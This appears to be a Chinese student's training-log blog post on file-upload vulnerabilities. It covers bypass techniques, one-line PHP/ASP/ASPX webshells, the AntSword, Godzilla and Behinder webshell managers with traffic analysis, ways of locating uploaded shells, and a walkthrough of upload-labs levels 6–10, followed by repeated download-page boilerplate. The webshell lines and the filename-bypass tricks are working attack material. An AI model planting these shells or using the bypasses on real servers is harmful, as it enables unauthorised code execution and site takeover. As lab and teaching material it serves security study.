实训日志 day7

目录

1. 文件上传防御手段及绕过手段总结

1.1 防御手段

1.2 绕过手段

1.2.1 前端绕过

(1)禁用JavaScript

(2)修改HTML表单

(3)使用网络抓包工具

1.2.2 后端绕过

(1)黑名单绕过

(2)MIME类型绕过

(3)文件内容检测绕过

(4)利用服务器解析漏洞

(5)其他绕过方式

2. 文件上传常用一句话木马

3. 三种webshell管理工具的使用方法

3.1 Antsword

3.1.1 准备并上传木马

3.1.2 锁定目标

3.1.3 代理设置

3.1.4 触发木马   

3.1.5 流量分析

3.2 Godzilla

3.2.1 准备并上传木马

3.2.2 锁定目标

3.2.3 代理设置

3.2.4 触发木马

3.2.5 流量分析

3.3 Behinder

3.3.1 准备并上传木马

3.3.2 锁定目标

3.3.3 代理设置

3.3.4 触发木马

3.3.5 流量分析

3.4 三者流量抓取一览

4. 文件上传无回显如何查找webshell地址

4.1 审查源代码和前端逻辑

4.2 利用服务器日志

4.3 使用Webshell扫描工具

4.4 审查文件系统和数据库

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

5.1 无参数情况下构造表单

5.2 有参数情况下构造表单

6.upload-labs靶场通关第6-10关

6.1 木马文件准备

6.2 闯关过程

第六关

第七关

第八关

第九关

第十关


1. 文件上传防御手段及绕过手段总结

1.1 防御手段

(1)上传文件的存储位置与服务器分离;

(2)上传的文件重新修改文件名文件后缀名;(前端传递,后端再校验)

(3)文件上传的上传保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载;

1.2 绕过手段

1.2.1 前端绕过

(1)禁用JavaScript

        通过禁用浏览器中的JavaScript,可以绕过前端基于JavaScript的验证逻辑。

(2)修改HTML表单

        使用浏览器的开发者工具修改HTML表单,直接提交文件到服务器,绕过前端验证。

(3)使用网络抓包工具

        如Burp Suite,拦截并修改上传文件的HTTP请求,包括文件后缀名等。

1.2.2 后端绕过

(1)黑名单绕过

        Web系统可能会采用黑名单的方式进行过滤。而过滤的方式存在一定的缺陷,比如存在过滤的黑名单不全,未考虑大小写,以及要上传文件的名称存在敏感字符。

上传黑名单未涵盖的文件类型

语言默认(服务器)可解析后缀可能可行的绕过可解析后缀
asp.net【IIS】 

asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,

aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php.php .html .htm【apache】

php,php5,php4,php3,php2,pHp,pHp5,pHp4,

pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

jsp*.jsp,*.jspx【tomcat】

 jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,

jSw,jSv,jSpf,jHtml

文件名大小写绕过:有些服务器在处理文件名时没有进行大小写统一处理,因此可以通过改变文件后缀名的大小写来绕过黑名单。

文件名后缀添加空格或点:在文件名末尾添加空格或点,某些服务器在处理时会忽略这些字符,从而允许上传原本被禁止的文件类型。

(2)MIME类型绕过

修改Content-Type:通过修改HTTP请求中的Content-Type字段,将文件的MIME类型改为服务器允许的类型,从而绕过MIME类型检查。

(3)文件内容检测绕过

文件头伪造:通过修改文件头,将恶意代码嵌入到看似合法的文件(如图片)中,绕过基于文件头的内容检测。

文件包含漏洞:结合本地文件包含漏洞(LFI),上传一个合法的文本文件,其内容包含恶意PHP脚本,然后通过文件包含漏洞执行该脚本。

(4)利用服务器解析漏洞

IIS 6.0解析漏洞:在IIS 6.0中,某些特定的文件后缀名(如.asp;.asa.cer.cdx)在特定条件下会被当作ASP文件执行。攻击者可以利用这一漏洞,通过上传包含恶意代码的这类文件来绕过安全限制。

Apache解析漏洞:在Apache服务器中,通过上传.htaccess文件修改服务器配置,使特定类型的文件被当作PHP代码执行。此外,Apache在某些配置下可能会将包含.php..php5.等后缀的文件当作PHP代码执行。

(5)其他绕过方式

利用Windows特性:在Windows系统中,文件名中的::$DATA会被系统忽略,因此可以通过在文件名中添加::$DATA来绕过文件名后缀的检查。

双写绕过:通过双写文件后缀名(如.pphphp),在服务器端处理时可能将中间的php替换为空,从而保留.php后缀,实现绕过。


2. 文件上传常用一句话木马

pass为密码,可按需修改:

php

<?php @eval($_POST['pass']);?>;

<?php system($_GET['pass']);?>

asp<%eval request ("pass")%>
aspx<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

3.1 Antsword

3.1.1 准备并上传木马

        准备以下木马,并将木马上传:

3.1.2 锁定目标

        右键添加数据,在URL地址处,填写木马文件的位置,其他按实际情况填写,填写完毕后测试连接成功并保存。

3.1.3 代理设置

        AntSword-代理设置,配置代理服务,端口与burpsuite保持一致,测试连接,保证成功,并保存,如图所示

3.1.4 触发木马   

        回到主页双击数据目标,进入目录:

3.1.5 流量分析

        打开burpsuite,选中对应包进行分析

        从数据包中可以发现。request中发送的数据包,是pass=xxxx 的形式,pass对应生成木马中的密码。web服务器对“pass“取值后,然后通过eval()函数执行“pass”里面的内容。即实际操作内容是pass后面一大串加密过的字符。

对pass进行url解码,可以查看当我们在对目录文件进行操作时,蚁剑在后台进行了哪些操作:

3.2 Godzilla

3.2.1 准备并上传木马

        哥斯拉提供上传木马的功能,也可以导入自己的(但自己的好像并不好用)。

        点击管理-生成,调制木马,选择php相关的载荷和加密器(我这边选择其他的后面木马触发不了不知道为什么)

        选择上传位置,文件名输入注意是要包含后缀的,这里使用.php,和前面的对应。

        生成的木马文件如图:

3.2.2 锁定目标

        点击目标-添加,右键添加数据,在URL处需要修改为木马文件上传位置,有效载荷和加密器也调成和上一步一样的。其他按实际情况填写,填写完毕后测试连接成功并添加。

3.2.3 代理设置

    如上图所示,代理端口和burpsuite保持一致,代理类型为http

3.2.4 触发木马

     回到主页,右键数据目标点击进入:

        哥斯拉支持基础信息查询、命令执行、文件管理、数据库管理等多种功能。

3.2.5 流量分析

        打开burpsuite,选中对应包进行分析

        从数据包中可以发现。request中发送的数据包,是pass=xxxx 的形式,pass对应生成木马中的密码。web服务器对“pass“取值后,然后通过eval()函数执行“pass”里面的内容。即实际操作内容是pass后面一大串加密过的字符。

3.3 Behinder

3.3.1 准备并上传木马

        冰蝎有自带的一句话木马文件,存于server目录下:

        也可以在冰蝎中导入自己的木马

3.3.2 锁定目标

       右键新增,在新增Shell页面下添加数据,在URL地址处,填写木马文件的位置,并输入密码,一般为rebeyond,这个要自己看木马文件。

3.3.3 代理设置

    代理-设置代理,配置代理服务,端口与burpsuite保持一致:

3.3.4 触发木马

     回到主页双击数据目标,进入目录:

        冰蝎具有命令执行、文件管理、反弹shell、内网穿透等重要功能

3.3.5 流量分析

 打开burpsuite,选中对应包进行分析

(1)冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。

(2)冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive

(3)冰蝎的请求、响应包具有固定的请求头和响应头,我的是:

请求头3Mn1yNMtoZViV5wotQHPJ
响应头mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j

给出另一个包,可与上一张图对比:

3.4 三者流量抓取一览

4. 文件上传无回显如何查找webshell地址

 4.1 利用Burpsuite抓包

        文件上传一般会有GET包请求,在里面通常包含上传的文件名以及文件的上传位置,即使文件名被改为时间戳,也能看到被改后的名称。

4.2 审查源代码和前端逻辑

检查HTML和JavaScript:查看文件上传表单的HTML代码和相关的JavaScript逻辑,看是否有隐藏的表单字段或JavaScript代码片段可能泄露文件上传的路径信息。

分析AJAX请求:如果文件上传是通过AJAX异步完成的,使用浏览器的开发者工具(如Chrome的DevTools)来审查网络请求,查看AJAX请求中是否包含了文件上传后的URL或路径信息。

4.3 利用服务器日志

查看Web服务器日志:检查Web服务器的访问日志和错误日志,特别是与文件上传相关的请求和响应记录。这些日志可能包含文件上传后的处理路径或错误信息,从而间接帮助定位Webshell。

分析应用服务器日志:如果应用服务器(如Tomcat、Apache等)有详细的日志记录,也可以从中查找与文件上传相关的日志条目。

4.4 使用Webshell扫描工具

部署Webshell扫描器:利用专业的Webshell扫描工具(如D盾、河马等)对网站进行扫描,这些工具能够识别并定位常见的Webshell文件。

注意误报和漏报:在使用扫描工具时,要注意可能出现的误报和漏报情况。误报可能会浪费时间和精力去排查不存在的威胁,而漏报则可能让真正的Webshell文件逃脱检测。

4.5 审查文件系统和数据库

检查文件系统:通过SSH或其他远程管理工具登录到服务器,直接查看文件系统的变化。特别是关注那些在上传文件后可能被创建或修改的文件和目录。

审查数据库:如果文件上传功能涉及到数据库操作(如将文件信息存储在数据库中),那么可以通过查询数据库来查找与文件上传相关的记录。这些记录可能包含文件上传后的路径或URL信息。

5. 文件上传表单的无参/有参情况下构造表单 -- 加分项

        文件上传是Web开发中常见的功能,它允许用户将文件(如图片、文档等)从本地计算机上传到服务器。在Web开发中,文件上传通常通过HTML表单(<form>)实现,这个表单可以包含不同的参数(字段),以及一个或多个文件输入字段(<input type="file">)。下面,我将分别说明在无参数和有参数情况下如何构造表单进行文件上传。

5.1 无参数情况下构造表单

        无参数情况指的是表单中只包含文件输入字段,没有其他额外的输入字段(如文本字段、选择框等)。

<form action="upload.php" method="post" enctype="multipart/form-data">  
  <input type="file" name="fileToUpload" id="fileToUpload">  
  <input type="submit" value="上传文件" name="submit">  
</form>
  • action="upload.php" 指定了处理表单数据的服务器端脚本(在这个例子中是upload.php)。method="post" 表明表单数据将通过POST方法发送。
  • enctype="multipart/form-data" 是必须的,用于在表单中发送文件。
  • <input type="file" name="fileToUpload" id="fileToUpload"> 创建了一个文件选择框,用户可以在这里选择文件。name属性很重要,因为它指定了发送到服务器时文件的参数名。

5.2 有参数情况下构造表单

        有参数情况指的是表单中除了文件输入字段外,还包含其他类型的输入字段(如用户名、描述等)。

<form action="upload_with_params.php" method="post" enctype="multipart/form-data">  
  <input type="text" name="username" id="username">  
  <input type="text" name="description" id="description">  
  <input type="file" name="fileToUpload" id="fileToUpload">  
  <input type="submit" value="上传文件" name="submit">  
</form>

        在这个例子中,表单包含三个输入字段:一个文本字段用于输入用户名,一个文本字段用于输入文件描述,以及一个文件输入字段用于选择文件。 所有的输入字段都通过POST方法发送到服务器上的upload_with_params.php脚本进行处理。 每个输入字段都有一个name属性,该属性是必需的,因为它指定了发送到服务器时字段的参数名。

6.upload-labs靶场通关第6-10关

6.1 木马文件准备

6.2 闯关过程

第六关

        这一关在后端配置了黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,即可以使用大小写绕过黑名单,文件名被使用时间戳进行了修改,需要联用bp查看修改后的文件名

        ​ 先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.Php 上传上去之后放行,后台就会自动解析为.php,在burpsuite中发现文件名也被改了:

        使用冰蝎连接:

        连接成功:

第七关

        这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单。

        先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.php (注意这里的php后面有个空格),然后放行

        使用冰蝎连接:

        连接成功:

第八关

        本关对上传的文件后缀名未做去点.的操作—>strrchr($file_name, '.') ,在Windows系统下,文件后缀名最后一个点会被自动去除。另外,这次他连时间戳改名都没用。
        将文件后缀名改为.png,然后上传,用bp抓包后把后缀改为.php.   然后放行。

        使用冰蝎连接:

        连接成功:

第九关

        这一关对上传的文件后缀名未做去::$DATA处理。Windows系统下,如果上传的文件名为xxx.php::$DATA,会在服务器上生成一个xxx.php的文件,其内容和所上传文件内容相同并被解析。

        ​ 先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.php::$DATA,然后放行

        使用冰蝎连接:

        连接成功: ​

第十关

        这一关对最后上传路径直接使用文件名进行拼接,而且只对文件名进行filename = deldot( file_name = deldot(file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单。ps:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .)

        将文件后缀名改为.png,然后上传,用bp抓包后把后缀改为.php.  . 然后放行。

        使用冰蝎连接:

        连接成功: ​

  • 15
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值